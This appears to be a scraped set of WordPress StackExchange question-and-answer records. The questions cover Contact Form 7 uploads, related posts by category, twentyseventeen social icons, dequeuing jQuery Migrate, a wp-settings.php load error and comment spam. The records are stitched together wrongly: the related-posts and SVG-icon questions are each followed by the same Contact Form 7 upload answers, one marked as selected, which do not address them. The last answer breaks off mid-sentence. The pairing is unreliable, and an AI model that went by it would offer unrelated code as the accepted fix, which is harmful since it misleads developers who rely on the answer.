[ { "answer_id": 291620, "author": "Judd Franklin", "author_id": 135197, "author_profile": "https://wordpress.stackexchange.com/users/135197", "pm_score": 1, "selected": false, "text": "<p>It looks like the filter you are hooking onto doesn't have access to the post data.</p>\n\n<p>If you use the <code>wpcf7_before_send_mail</code> action, and then access the Submission instance data, you get access to the filename of the attachment. </p>\n\n<pre><code>function form_to_post( $posted_data ) {\n $post_id = wp_insert_post($args);\n $submission = WPCF7_Submission::get_instance();\n $postData = $submission-&gt;get_posted_data();\n die(var_dump($postData[\"featured\"]));\n\n}\nadd_action('wpcf7_before_send_mail', 'form_to_post' );\n</code></pre>\n\n<p>This worked for me locally. Does it work for you?</p>\n" }, { "answer_id": 291846, "author": "Pipo", "author_id": 54879, "author_profile": "https://wordpress.stackexchange.com/users/54879", "pm_score": 3, "selected": true, "text": "<p>Thanks @Judd Franklin for the directions. I was also missing <code>$submission-&gt;uploaded_files();</code>.</p>\n\n<p>Here is the working code for those who are looking for the same answer:</p>\n\n<pre><code>function image_form_to_featured_image( $contact_form ) {\n\n $submission = WPCF7_Submission::get_instance();\n $posted_data = $submission-&gt;get_posted_data();\n\n // Creating a new post with contact form values\n $args = array(\n 'post_type' =&gt; 'projects',\n 'post_status'=&gt; 'draft',\n 'post_title'=&gt; wp_strip_all_tags( $posted_data['title'] ),\n 'post_content'=&gt; wp_strip_all_tags( $posted_data['pitch'] ),\n );\n $post_id = wp_insert_post($args);\n\n // Retrieving and inserting uploaded image as featured image\n $uploadedFiles = $submission-&gt;uploaded_files();\n\n if( isset($posted_data['featured']) ){\n $featuredUpload = wp_upload_bits($posted_data['featured'], null, file_get_contents($uploadedFiles['featured']));\n\n\n require_once(ABSPATH . 'wp-admin/includes/admin.php');\n $filename = $featuredUpload['file'];\n $attachment = array(\n 'post_mime_type' =&gt; $featuredUpload['type'],\n 'post_parent' =&gt; $post_id,\n 'post_title' =&gt; sanitize_file_name($filename),\n 'post_content' =&gt; '',\n 'post_status' =&gt; 'inherit'\n );\n\n $attachment_id = wp_insert_attachment( $attachment, $filename, $post_id );\n\n if (!is_wp_error($attachment_id)) {\n require_once(ABSPATH . 'wp-admin/includes/image.php');\n $attachment_data = wp_generate_attachment_metadata( $attachment_id, $filename );\n wp_update_attachment_metadata( $attachment_id, $attachment_data );\n set_post_thumbnail( $post_id, $attachment_id );\n }\n }\n}\nadd_action( 'wpcf7_before_send_mail', 'image_form_to_featured_image' );\n</code></pre>\n" }, { "answer_id": 413948, "author": "Hayder Hossain", "author_id": 226249, "author_profile": "https://wordpress.stackexchange.com/users/226249", "pm_score": 0, "selected": false, "text": "<p>Contact form 7 removed file from temporary directory (wp-content/uploads/wpcf7_uploads) after the mail is sent. That's why we need to make a copy of that file in server.</p>\n<pre><code> function image_form_to_featured_image( $contact_form ) {\n\n$submission = WPCF7_Submission::get_instance();\n$posted_data = $submission-&gt;get_posted_data();\n\n\n// Creating a new post with contact form values\n$args = array(\n 'post_type' =&gt; 'post',\n 'post_status'=&gt; 'draft',\n 'post_title'=&gt; wp_strip_all_tags( $posted_data['title'] ),\n 'post_content'=&gt; wp_strip_all_tags( $posted_data['content'] ),\n);\n$post_id = wp_insert_post($args);\n\n// Retrieving and inserting uploaded image as featured image\n$uploadedFiles = $submission-&gt;uploaded_files();\n\nif( isset($uploadedFiles['image']) ){\n $featuredUpload = wp_upload_bits($uploadedFiles['image'], null, file_get_contents($uploadedFiles['image']));\n\n\n require_once(ABSPATH . 'wp-admin/includes/admin.php');\n \n $dataimg= $uploadedFiles['image'];\n $dataFile = $dataimg['0'];\n $filename = basename($dataFile);\n \n $copy_path = '/home/server_user/public_html/wp-content/uploads/new_upload_folder/'.$filename;\n // Copy image to other folder in server\ncopy($dataFile,$copy_path);\n \n $feature_img = '/home/server_user/public_html/wp-content/uploads/new_upload_folder/'.$filename;\n \n\n // Check the type of file. We'll use this as the 'post_mime_type'.\n $filetype = wp_check_filetype( basename( $filename ), null );\n\n // Get the path to the upload directory.\n $wp_upload_dir = wp_upload_dir();\n\n // Prepare an array of post data for the attachment.\n $attachment = array(\n 'guid' =&gt; $wp_upload_dir['url'] . '/new_upload_folder/' . basename( $feature_img ), \n 'post_mime_type' =&gt; $filetype['type'],\n 'post_title' =&gt; preg_replace( '/\\.[^.]+$/', '', basename( $feature_img ) ),\n 'post_content' =&gt; '',\n 'post_status' =&gt; 'inherit'\n );\n\n // Insert the attachment.\n $attach_id = wp_insert_attachment( $attachment, $feature_img, $post_id );\n\n // Make sure that this file is included, as wp_generate_attachment_metadata() depends on it.\n require_once( ABSPATH . 'wp-admin/includes/image.php' );\n\n // Generate the metadata for the attachment, and update the database record.\n $attach_data = wp_generate_attachment_metadata( $attach_id, $feature_img );\n wp_update_attachment_metadata( $attach_id, $attach_data );\n\n set_post_thumbnail( $post_id, $attach_id );\n \n }\n}\nadd_action( 'wpcf7_before_send_mail', 'image_form_to_featured_image' );\n</code></pre>\n" } ]
2018/01/19
[ "https://wordpress.stackexchange.com/questions/291601", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/54879/" ]
I am trying to retrieve a file uploaded in the front-end with contact form 7 and assign it to a featured image custom post type. Heres is my code so far : ``` function form_to_post( $posted_data ) { $args = array( 'post_type' => 'projects', 'post_status'=> 'draft', 'post_title'=> wp_strip_all_tags( $posted_data['title'] ), 'post_content'=> wp_strip_all_tags( $posted_data['pitch'] ), ); $post_id = wp_insert_post($args); if( ! is_wp_error( $post_id ) ) { if( isset($posted_data['featured']) ){ $featuredUpload = wp_upload_bits($posted_data['featured']['name'], null, file_get_contents($posted_data['featured']['tmp_name'])); $filename = $featuredUpload['file']; $wp_filetype = wp_check_filetype($filename, null ); $attachment = array( 'post_mime_type' => $wp_filetype['type'], 'post_parent' => $post_id, 'post_title' => sanitize_file_name($filename), 'post_content' => '', 'post_status' => 'inherit' ); $attachment_id = wp_insert_attachment( $attachment, $filename, $post_id ); if (!is_wp_error($attachment_id)) { require_once(ABSPATH . 'wp-admin/includes/image.php'); $attachment_data = wp_generate_attachment_metadata( $attachment_id, $filename ); wp_update_attachment_metadata( $attachment_id, $attachment_data ); set_post_thumbnail( $post_id, $attachment_id ); } } } return $posted_data; } add_filter( 'wpcf7_posted_data', 'form_to_post' ); ``` The `error_log` shows 1 as the value of `$posted_data['featured']` so that means the file datas are not stored in this variable. I've looked at the [Contact Form 7 doc](https://contactform7.com/file-uploading-and-attachment/) and they say that the file is moved to a temporary directory (wp-content/uploads/wpcf7\_uploads) before the mail is sent. So does anyone know how to get the file datas? Thanks
Thanks @Judd Franklin for the directions. I was also missing `$submission->uploaded_files();`. Here is the working code for those who are looking for the same answer: ``` function image_form_to_featured_image( $contact_form ) { $submission = WPCF7_Submission::get_instance(); $posted_data = $submission->get_posted_data(); // Creating a new post with contact form values $args = array( 'post_type' => 'projects', 'post_status'=> 'draft', 'post_title'=> wp_strip_all_tags( $posted_data['title'] ), 'post_content'=> wp_strip_all_tags( $posted_data['pitch'] ), ); $post_id = wp_insert_post($args); // Retrieving and inserting uploaded image as featured image $uploadedFiles = $submission->uploaded_files(); if( isset($posted_data['featured']) ){ $featuredUpload = wp_upload_bits($posted_data['featured'], null, file_get_contents($uploadedFiles['featured'])); require_once(ABSPATH . 'wp-admin/includes/admin.php'); $filename = $featuredUpload['file']; $attachment = array( 'post_mime_type' => $featuredUpload['type'], 'post_parent' => $post_id, 'post_title' => sanitize_file_name($filename), 'post_content' => '', 'post_status' => 'inherit' ); $attachment_id = wp_insert_attachment( $attachment, $filename, $post_id ); if (!is_wp_error($attachment_id)) { require_once(ABSPATH . 'wp-admin/includes/image.php'); $attachment_data = wp_generate_attachment_metadata( $attachment_id, $filename ); wp_update_attachment_metadata( $attachment_id, $attachment_data ); set_post_thumbnail( $post_id, $attachment_id ); } } } add_action( 'wpcf7_before_send_mail', 'image_form_to_featured_image' ); ```
291,639
<p>I am trying to change this wordpress function given in my theme to show posts from category instead of tags.</p> <p>But due to wordpress beginner i am unable to do this. </p> <p>Please help me to change this code.</p> <pre><code>&lt;div id="tabs_content_container2"&gt; &lt;div id="tab3" class="tab_content2" style="display: block;"&gt; &lt;ul class="mv_list_small"&gt; &lt;?php $orig_post = $post; global $post; $tags = wp_get_post_($post-&gt;ID); if ($tags) { $tag_ids = array(); foreach($tags as $individual_tag) $tag_ids[] = $individual_tag-&gt;term_id; $args=array( 'tag__in' =&gt; $tag_ids, 'post__not_in' =&gt; array($post-&gt;ID), 'posts_per_page'=&gt;10, // Number of related posts to display. 'ignore_sticky_posts'=&gt;1 ); $my_query = new wp_query( $args ); $num=1; while( $my_query-&gt;have_posts() ) { $my_query-&gt;the_post(); ?&gt; &lt;li&gt;&lt;a href="&lt;?php the_permalink(); ?&gt;"&gt; </code></pre> <p>and after searching on internet i also got the code for related post to show from category. But unable to replace it correctly. Here is the code from internet.</p> <p><a href="https://wordpress.stackexchange.com/questions/41272/how-to-show-related-posts-by-category">How to show related posts by category</a></p> <p>help me to change my default tag code with the category code.</p> <p>Thank you.</p>
[ { "answer_id": 291620, "author": "Judd Franklin", "author_id": 135197, "author_profile": "https://wordpress.stackexchange.com/users/135197", "pm_score": 1, "selected": false, "text": "<p>It looks like the filter you are hooking onto doesn't have access to the post data.</p>\n\n<p>If you use the <code>wpcf7_before_send_mail</code> action, and then access the Submission instance data, you get access to the filename of the attachment. </p>\n\n<pre><code>function form_to_post( $posted_data ) {\n $post_id = wp_insert_post($args);\n $submission = WPCF7_Submission::get_instance();\n $postData = $submission-&gt;get_posted_data();\n die(var_dump($postData[\"featured\"]));\n\n}\nadd_action('wpcf7_before_send_mail', 'form_to_post' );\n</code></pre>\n\n<p>This worked for me locally. Does it work for you?</p>\n" }, { "answer_id": 291846, "author": "Pipo", "author_id": 54879, "author_profile": "https://wordpress.stackexchange.com/users/54879", "pm_score": 3, "selected": true, "text": "<p>Thanks @Judd Franklin for the directions. I was also missing <code>$submission-&gt;uploaded_files();</code>.</p>\n\n<p>Here is the working code for those who are looking for the same answer:</p>\n\n<pre><code>function image_form_to_featured_image( $contact_form ) {\n\n $submission = WPCF7_Submission::get_instance();\n $posted_data = $submission-&gt;get_posted_data();\n\n // Creating a new post with contact form values\n $args = array(\n 'post_type' =&gt; 'projects',\n 'post_status'=&gt; 'draft',\n 'post_title'=&gt; wp_strip_all_tags( $posted_data['title'] ),\n 'post_content'=&gt; wp_strip_all_tags( $posted_data['pitch'] ),\n );\n $post_id = wp_insert_post($args);\n\n // Retrieving and inserting uploaded image as featured image\n $uploadedFiles = $submission-&gt;uploaded_files();\n\n if( isset($posted_data['featured']) ){\n $featuredUpload = wp_upload_bits($posted_data['featured'], null, file_get_contents($uploadedFiles['featured']));\n\n\n require_once(ABSPATH . 'wp-admin/includes/admin.php');\n $filename = $featuredUpload['file'];\n $attachment = array(\n 'post_mime_type' =&gt; $featuredUpload['type'],\n 'post_parent' =&gt; $post_id,\n 'post_title' =&gt; sanitize_file_name($filename),\n 'post_content' =&gt; '',\n 'post_status' =&gt; 'inherit'\n );\n\n $attachment_id = wp_insert_attachment( $attachment, $filename, $post_id );\n\n if (!is_wp_error($attachment_id)) {\n require_once(ABSPATH . 'wp-admin/includes/image.php');\n $attachment_data = wp_generate_attachment_metadata( $attachment_id, $filename );\n wp_update_attachment_metadata( $attachment_id, $attachment_data );\n set_post_thumbnail( $post_id, $attachment_id );\n }\n }\n}\nadd_action( 'wpcf7_before_send_mail', 'image_form_to_featured_image' );\n</code></pre>\n" }, { "answer_id": 413948, "author": "Hayder Hossain", "author_id": 226249, "author_profile": "https://wordpress.stackexchange.com/users/226249", "pm_score": 0, "selected": false, "text": "<p>Contact form 7 removed file from temporary directory (wp-content/uploads/wpcf7_uploads) after the mail is sent. That's why we need to make a copy of that file in server.</p>\n<pre><code> function image_form_to_featured_image( $contact_form ) {\n\n$submission = WPCF7_Submission::get_instance();\n$posted_data = $submission-&gt;get_posted_data();\n\n\n// Creating a new post with contact form values\n$args = array(\n 'post_type' =&gt; 'post',\n 'post_status'=&gt; 'draft',\n 'post_title'=&gt; wp_strip_all_tags( $posted_data['title'] ),\n 'post_content'=&gt; wp_strip_all_tags( $posted_data['content'] ),\n);\n$post_id = wp_insert_post($args);\n\n// Retrieving and inserting uploaded image as featured image\n$uploadedFiles = $submission-&gt;uploaded_files();\n\nif( isset($uploadedFiles['image']) ){\n $featuredUpload = wp_upload_bits($uploadedFiles['image'], null, file_get_contents($uploadedFiles['image']));\n\n\n require_once(ABSPATH . 'wp-admin/includes/admin.php');\n \n $dataimg= $uploadedFiles['image'];\n $dataFile = $dataimg['0'];\n $filename = basename($dataFile);\n \n $copy_path = '/home/server_user/public_html/wp-content/uploads/new_upload_folder/'.$filename;\n // Copy image to other folder in server\ncopy($dataFile,$copy_path);\n \n $feature_img = '/home/server_user/public_html/wp-content/uploads/new_upload_folder/'.$filename;\n \n\n // Check the type of file. We'll use this as the 'post_mime_type'.\n $filetype = wp_check_filetype( basename( $filename ), null );\n\n // Get the path to the upload directory.\n $wp_upload_dir = wp_upload_dir();\n\n // Prepare an array of post data for the attachment.\n $attachment = array(\n 'guid' =&gt; $wp_upload_dir['url'] . '/new_upload_folder/' . basename( $feature_img ), \n 'post_mime_type' =&gt; $filetype['type'],\n 'post_title' =&gt; preg_replace( '/\\.[^.]+$/', '', basename( $feature_img ) ),\n 'post_content' =&gt; '',\n 'post_status' =&gt; 'inherit'\n );\n\n // Insert the attachment.\n $attach_id = wp_insert_attachment( $attachment, $feature_img, $post_id );\n\n // Make sure that this file is included, as wp_generate_attachment_metadata() depends on it.\n require_once( ABSPATH . 'wp-admin/includes/image.php' );\n\n // Generate the metadata for the attachment, and update the database record.\n $attach_data = wp_generate_attachment_metadata( $attach_id, $feature_img );\n wp_update_attachment_metadata( $attach_id, $attach_data );\n\n set_post_thumbnail( $post_id, $attach_id );\n \n }\n}\nadd_action( 'wpcf7_before_send_mail', 'image_form_to_featured_image' );\n</code></pre>\n" } ]
2018/01/20
[ "https://wordpress.stackexchange.com/questions/291639", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/135224/" ]
I am trying to change this wordpress function given in my theme to show posts from category instead of tags. But due to wordpress beginner i am unable to do this. Please help me to change this code. ``` <div id="tabs_content_container2"> <div id="tab3" class="tab_content2" style="display: block;"> <ul class="mv_list_small"> <?php $orig_post = $post; global $post; $tags = wp_get_post_($post->ID); if ($tags) { $tag_ids = array(); foreach($tags as $individual_tag) $tag_ids[] = $individual_tag->term_id; $args=array( 'tag__in' => $tag_ids, 'post__not_in' => array($post->ID), 'posts_per_page'=>10, // Number of related posts to display. 'ignore_sticky_posts'=>1 ); $my_query = new wp_query( $args ); $num=1; while( $my_query->have_posts() ) { $my_query->the_post(); ?> <li><a href="<?php the_permalink(); ?>"> ``` and after searching on internet i also got the code for related post to show from category. But unable to replace it correctly. Here is the code from internet. [How to show related posts by category](https://wordpress.stackexchange.com/questions/41272/how-to-show-related-posts-by-category) help me to change my default tag code with the category code. Thank you.
Thanks @Judd Franklin for the directions. I was also missing `$submission->uploaded_files();`. Here is the working code for those who are looking for the same answer: ``` function image_form_to_featured_image( $contact_form ) { $submission = WPCF7_Submission::get_instance(); $posted_data = $submission->get_posted_data(); // Creating a new post with contact form values $args = array( 'post_type' => 'projects', 'post_status'=> 'draft', 'post_title'=> wp_strip_all_tags( $posted_data['title'] ), 'post_content'=> wp_strip_all_tags( $posted_data['pitch'] ), ); $post_id = wp_insert_post($args); // Retrieving and inserting uploaded image as featured image $uploadedFiles = $submission->uploaded_files(); if( isset($posted_data['featured']) ){ $featuredUpload = wp_upload_bits($posted_data['featured'], null, file_get_contents($uploadedFiles['featured'])); require_once(ABSPATH . 'wp-admin/includes/admin.php'); $filename = $featuredUpload['file']; $attachment = array( 'post_mime_type' => $featuredUpload['type'], 'post_parent' => $post_id, 'post_title' => sanitize_file_name($filename), 'post_content' => '', 'post_status' => 'inherit' ); $attachment_id = wp_insert_attachment( $attachment, $filename, $post_id ); if (!is_wp_error($attachment_id)) { require_once(ABSPATH . 'wp-admin/includes/image.php'); $attachment_data = wp_generate_attachment_metadata( $attachment_id, $filename ); wp_update_attachment_metadata( $attachment_id, $attachment_data ); set_post_thumbnail( $post_id, $attachment_id ); } } } add_action( 'wpcf7_before_send_mail', 'image_form_to_featured_image' ); ```
291,675
<p>From WordPress 4.9.2, I created a child theme for twentyseventeen. I noticed that it comes with its own SVG icon system for social media icons at the bottom of the page. I see some of that code initiated within the <code>site-info.php</code> file, in <code>wp_nav_menu()</code>.</p> <pre><code>&lt;nav class="social-navigation" role="navigation" aria-label="&lt;?php esc_attr_e( 'Footer Social Links Menu', 'twentyseventeen' ); ?&gt;"&gt; &lt;?php wp_nav_menu( array( 'theme_location' =&gt; 'social', 'menu_class' =&gt; 'social-links-menu', 'depth' =&gt; 1, 'link_before' =&gt; '&lt;span class="screen-reader-text"&gt;', 'link_after' =&gt; '&lt;/span&gt;' . twentyseventeen_get_svg( array( 'icon' =&gt; 'chain' ) ), ) ); ?&gt; </code></pre> <p></p> <p>I also see that <code>svg-icons.svg</code> is another file associated to the process.</p> <p>I would like to use my own custom icons to talk with my custom links associated in the footer. What template techniques have worked well for replacing this SVG system? (again the goal if for me to use my own custom icons, which are <code>.png</code> images)</p>
[ { "answer_id": 291620, "author": "Judd Franklin", "author_id": 135197, "author_profile": "https://wordpress.stackexchange.com/users/135197", "pm_score": 1, "selected": false, "text": "<p>It looks like the filter you are hooking onto doesn't have access to the post data.</p>\n\n<p>If you use the <code>wpcf7_before_send_mail</code> action, and then access the Submission instance data, you get access to the filename of the attachment. </p>\n\n<pre><code>function form_to_post( $posted_data ) {\n $post_id = wp_insert_post($args);\n $submission = WPCF7_Submission::get_instance();\n $postData = $submission-&gt;get_posted_data();\n die(var_dump($postData[\"featured\"]));\n\n}\nadd_action('wpcf7_before_send_mail', 'form_to_post' );\n</code></pre>\n\n<p>This worked for me locally. Does it work for you?</p>\n" }, { "answer_id": 291846, "author": "Pipo", "author_id": 54879, "author_profile": "https://wordpress.stackexchange.com/users/54879", "pm_score": 3, "selected": true, "text": "<p>Thanks @Judd Franklin for the directions. I was also missing <code>$submission-&gt;uploaded_files();</code>.</p>\n\n<p>Here is the working code for those who are looking for the same answer:</p>\n\n<pre><code>function image_form_to_featured_image( $contact_form ) {\n\n $submission = WPCF7_Submission::get_instance();\n $posted_data = $submission-&gt;get_posted_data();\n\n // Creating a new post with contact form values\n $args = array(\n 'post_type' =&gt; 'projects',\n 'post_status'=&gt; 'draft',\n 'post_title'=&gt; wp_strip_all_tags( $posted_data['title'] ),\n 'post_content'=&gt; wp_strip_all_tags( $posted_data['pitch'] ),\n );\n $post_id = wp_insert_post($args);\n\n // Retrieving and inserting uploaded image as featured image\n $uploadedFiles = $submission-&gt;uploaded_files();\n\n if( isset($posted_data['featured']) ){\n $featuredUpload = wp_upload_bits($posted_data['featured'], null, file_get_contents($uploadedFiles['featured']));\n\n\n require_once(ABSPATH . 'wp-admin/includes/admin.php');\n $filename = $featuredUpload['file'];\n $attachment = array(\n 'post_mime_type' =&gt; $featuredUpload['type'],\n 'post_parent' =&gt; $post_id,\n 'post_title' =&gt; sanitize_file_name($filename),\n 'post_content' =&gt; '',\n 'post_status' =&gt; 'inherit'\n );\n\n $attachment_id = wp_insert_attachment( $attachment, $filename, $post_id );\n\n if (!is_wp_error($attachment_id)) {\n require_once(ABSPATH . 'wp-admin/includes/image.php');\n $attachment_data = wp_generate_attachment_metadata( $attachment_id, $filename );\n wp_update_attachment_metadata( $attachment_id, $attachment_data );\n set_post_thumbnail( $post_id, $attachment_id );\n }\n }\n}\nadd_action( 'wpcf7_before_send_mail', 'image_form_to_featured_image' );\n</code></pre>\n" }, { "answer_id": 413948, "author": "Hayder Hossain", "author_id": 226249, "author_profile": "https://wordpress.stackexchange.com/users/226249", "pm_score": 0, "selected": false, "text": "<p>Contact form 7 removed file from temporary directory (wp-content/uploads/wpcf7_uploads) after the mail is sent. That's why we need to make a copy of that file in server.</p>\n<pre><code> function image_form_to_featured_image( $contact_form ) {\n\n$submission = WPCF7_Submission::get_instance();\n$posted_data = $submission-&gt;get_posted_data();\n\n\n// Creating a new post with contact form values\n$args = array(\n 'post_type' =&gt; 'post',\n 'post_status'=&gt; 'draft',\n 'post_title'=&gt; wp_strip_all_tags( $posted_data['title'] ),\n 'post_content'=&gt; wp_strip_all_tags( $posted_data['content'] ),\n);\n$post_id = wp_insert_post($args);\n\n// Retrieving and inserting uploaded image as featured image\n$uploadedFiles = $submission-&gt;uploaded_files();\n\nif( isset($uploadedFiles['image']) ){\n $featuredUpload = wp_upload_bits($uploadedFiles['image'], null, file_get_contents($uploadedFiles['image']));\n\n\n require_once(ABSPATH . 'wp-admin/includes/admin.php');\n \n $dataimg= $uploadedFiles['image'];\n $dataFile = $dataimg['0'];\n $filename = basename($dataFile);\n \n $copy_path = '/home/server_user/public_html/wp-content/uploads/new_upload_folder/'.$filename;\n // Copy image to other folder in server\ncopy($dataFile,$copy_path);\n \n $feature_img = '/home/server_user/public_html/wp-content/uploads/new_upload_folder/'.$filename;\n \n\n // Check the type of file. We'll use this as the 'post_mime_type'.\n $filetype = wp_check_filetype( basename( $filename ), null );\n\n // Get the path to the upload directory.\n $wp_upload_dir = wp_upload_dir();\n\n // Prepare an array of post data for the attachment.\n $attachment = array(\n 'guid' =&gt; $wp_upload_dir['url'] . '/new_upload_folder/' . basename( $feature_img ), \n 'post_mime_type' =&gt; $filetype['type'],\n 'post_title' =&gt; preg_replace( '/\\.[^.]+$/', '', basename( $feature_img ) ),\n 'post_content' =&gt; '',\n 'post_status' =&gt; 'inherit'\n );\n\n // Insert the attachment.\n $attach_id = wp_insert_attachment( $attachment, $feature_img, $post_id );\n\n // Make sure that this file is included, as wp_generate_attachment_metadata() depends on it.\n require_once( ABSPATH . 'wp-admin/includes/image.php' );\n\n // Generate the metadata for the attachment, and update the database record.\n $attach_data = wp_generate_attachment_metadata( $attach_id, $feature_img );\n wp_update_attachment_metadata( $attach_id, $attach_data );\n\n set_post_thumbnail( $post_id, $attach_id );\n \n }\n}\nadd_action( 'wpcf7_before_send_mail', 'image_form_to_featured_image' );\n</code></pre>\n" } ]
2018/01/20
[ "https://wordpress.stackexchange.com/questions/291675", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/98671/" ]
From WordPress 4.9.2, I created a child theme for twentyseventeen. I noticed that it comes with its own SVG icon system for social media icons at the bottom of the page. I see some of that code initiated within the `site-info.php` file, in `wp_nav_menu()`. ``` <nav class="social-navigation" role="navigation" aria-label="<?php esc_attr_e( 'Footer Social Links Menu', 'twentyseventeen' ); ?>"> <?php wp_nav_menu( array( 'theme_location' => 'social', 'menu_class' => 'social-links-menu', 'depth' => 1, 'link_before' => '<span class="screen-reader-text">', 'link_after' => '</span>' . twentyseventeen_get_svg( array( 'icon' => 'chain' ) ), ) ); ?> ``` I also see that `svg-icons.svg` is another file associated to the process. I would like to use my own custom icons to talk with my custom links associated in the footer. What template techniques have worked well for replacing this SVG system? (again the goal if for me to use my own custom icons, which are `.png` images)
Thanks @Judd Franklin for the directions. I was also missing `$submission->uploaded_files();`. Here is the working code for those who are looking for the same answer: ``` function image_form_to_featured_image( $contact_form ) { $submission = WPCF7_Submission::get_instance(); $posted_data = $submission->get_posted_data(); // Creating a new post with contact form values $args = array( 'post_type' => 'projects', 'post_status'=> 'draft', 'post_title'=> wp_strip_all_tags( $posted_data['title'] ), 'post_content'=> wp_strip_all_tags( $posted_data['pitch'] ), ); $post_id = wp_insert_post($args); // Retrieving and inserting uploaded image as featured image $uploadedFiles = $submission->uploaded_files(); if( isset($posted_data['featured']) ){ $featuredUpload = wp_upload_bits($posted_data['featured'], null, file_get_contents($uploadedFiles['featured'])); require_once(ABSPATH . 'wp-admin/includes/admin.php'); $filename = $featuredUpload['file']; $attachment = array( 'post_mime_type' => $featuredUpload['type'], 'post_parent' => $post_id, 'post_title' => sanitize_file_name($filename), 'post_content' => '', 'post_status' => 'inherit' ); $attachment_id = wp_insert_attachment( $attachment, $filename, $post_id ); if (!is_wp_error($attachment_id)) { require_once(ABSPATH . 'wp-admin/includes/image.php'); $attachment_data = wp_generate_attachment_metadata( $attachment_id, $filename ); wp_update_attachment_metadata( $attachment_id, $attachment_data ); set_post_thumbnail( $post_id, $attachment_id ); } } } add_action( 'wpcf7_before_send_mail', 'image_form_to_featured_image' ); ```
291,700
<p>WordPress loads jQuery.migrate automatically:</p> <p>How can I disable it without plugins? I didn't find code in functions.php with <code>enqueue</code>.</p> <p>It loads from <code>/wp-includes</code>. How can I disable it?</p>
[ { "answer_id": 291711, "author": "swissspidy", "author_id": 12404, "author_profile": "https://wordpress.stackexchange.com/users/12404", "pm_score": 5, "selected": false, "text": "<p>jQuery Migrate is nothing but a dependency of the jQuery script in WordPress, so one can simply remove that dependency.</p>\n\n<p>The code for that is pretty straightforward:</p>\n\n<pre><code>function dequeue_jquery_migrate( $scripts ) {\n if ( ! is_admin() &amp;&amp; ! empty( $scripts-&gt;registered['jquery'] ) ) {\n $scripts-&gt;registered['jquery']-&gt;deps = array_diff(\n $scripts-&gt;registered['jquery']-&gt;deps,\n [ 'jquery-migrate' ]\n );\n }\n}\nadd_action( 'wp_default_scripts', 'dequeue_jquery_migrate' );\n</code></pre>\n\n<p>This will prevent the jQuery Migrate script from being loaded on the front end while keeping the jQuery script itself intact. It's still being loaded in the admin to not break anything there.</p>\n\n<p>In case you don't want to put this in your own plugin or theme, you can use a plugin like <a href=\"https://packagist.org/packages/wearerequired/jquery-light\" rel=\"noreferrer\">jQuery Light</a> that does this for you.</p>\n" }, { "answer_id": 390702, "author": "mediocre_bro", "author_id": 130837, "author_profile": "https://wordpress.stackexchange.com/users/130837", "pm_score": 0, "selected": false, "text": "<p>Wordpress supports &quot;deregistering&quot; a plugin, using a similar process as mentioned by @swissspidy, but with less code.</p>\n<p>In whatever function you're enqueuing your plugins, add this line:</p>\n<pre><code>wp_deregister_script('jquery-migrate');\n</code></pre>\n<p>This assumes that jQuery Migrate is enqueued with the handle <code>jquery-migrate</code>, which is its Wordpress default.</p>\n<p>So here's an example of my Enqueue function with WP action:</p>\n<pre><code>function my_theme_enqueue_styles_and_scripts() {\n wp_enqueue_style('my-theme-styles', 'dist/styles.css');\n\n wp_deregister_script('jquery-migrate');\n wp_enqueue_script('my-theme-scripts', 'dist/scripts.js');\n\n}\nadd_action('wp_enqueue_scripts', 'my_theme_enqueue_styles_and_scripts', 99);\n</code></pre>\n" } ]
2018/01/21
[ "https://wordpress.stackexchange.com/questions/291700", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/133900/" ]
WordPress loads jQuery.migrate automatically: How can I disable it without plugins? I didn't find code in functions.php with `enqueue`. It loads from `/wp-includes`. How can I disable it?
jQuery Migrate is nothing but a dependency of the jQuery script in WordPress, so one can simply remove that dependency. The code for that is pretty straightforward: ``` function dequeue_jquery_migrate( $scripts ) { if ( ! is_admin() && ! empty( $scripts->registered['jquery'] ) ) { $scripts->registered['jquery']->deps = array_diff( $scripts->registered['jquery']->deps, [ 'jquery-migrate' ] ); } } add_action( 'wp_default_scripts', 'dequeue_jquery_migrate' ); ``` This will prevent the jQuery Migrate script from being loaded on the front end while keeping the jQuery script itself intact. It's still being loaded in the admin to not break anything there. In case you don't want to put this in your own plugin or theme, you can use a plugin like [jQuery Light](https://packagist.org/packages/wearerequired/jquery-light) that does this for you.
291,721
<p>I'm getting the following errors on my WordPress site</p> <pre><code>Warning: require(/home/[site]/public_html/wp-includes/load.php): failed to open stream: No such file or directory in /home/[site]/public_html/wp-settings.php on line 19 Warning: require(/home/[site]/public_html/wp-includes/load.php): failed to open stream: No such file or directory in /home/[site]/public_html/wp-settings.php on line 19 Fatal error: require(): Failed opening required '/home/[site]/public_html/wp-includes/load.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/[site]/public_html/wp-settings.php on line 19 </code></pre> <p>I've been troubleshooting for a few days but could really use some help.</p> <p><strong>File permissions:</strong></p> <p>wp-settings.php: 644</p> <p>wp-config.php: 444</p> <p>wp-includes: 755</p> <p>wp-includes/load.php: 644</p> <p>Anyone know what it could be? I've tried manually upgrading the files(deleting the old wp-files and updating), but still nothing. PHP version is 7.</p> <p>Thanks!</p>
[ { "answer_id": 291719, "author": "VihangaAW", "author_id": 105067, "author_profile": "https://wordpress.stackexchange.com/users/105067", "pm_score": 3, "selected": true, "text": "<p>Just install a good anti-spam plugin. They will monitors site's comments for spam and automatically blocks spam comments. <br> BTW WordPress come with Akismet which is a spam protection plugin installed by default. To enable the plugin, go to the Plugins and activate the Plugin.<br>\n<a href=\"https://wordpress.org/plugins/akismet/\" rel=\"nofollow noreferrer\">Akismet Anti-Spam</a></p>\n" }, { "answer_id": 291754, "author": "Diana D Jensen", "author_id": 135288, "author_profile": "https://wordpress.stackexchange.com/users/135288", "pm_score": 2, "selected": false, "text": "<p>I'd actually recommend that you disable comments for now. I know that as a new user, you are thrilled to get a response but my experience shows that quality comments only come after you have established yourself. In the beginning of your career as a blogger or website owner, it is ususally just tons of spam you get.</p>\n\n<p>If you really want to keep the comment fields, yes, install an anti-spam plugin and try to blacklist words and URLs in comments (Settings->Discussion->Comment moderation/Comment blacklist.</p>\n\n<p>Keep though in mind that spammers don't have anything else to do but figure out smart ways to spam you, so my best advice would be to continue moderating manually and double checking for hidden links in author names and all other field of a comment.</p>\n" }, { "answer_id": 291796, "author": "Misha Rudrastyh", "author_id": 85985, "author_profile": "https://wordpress.stackexchange.com/users/85985", "pm_score": 1, "selected": false, "text": "<p>Anti-spam plugins sometimes are ok, but sometimes users do not want to overload their website with plugins because plugins makes website 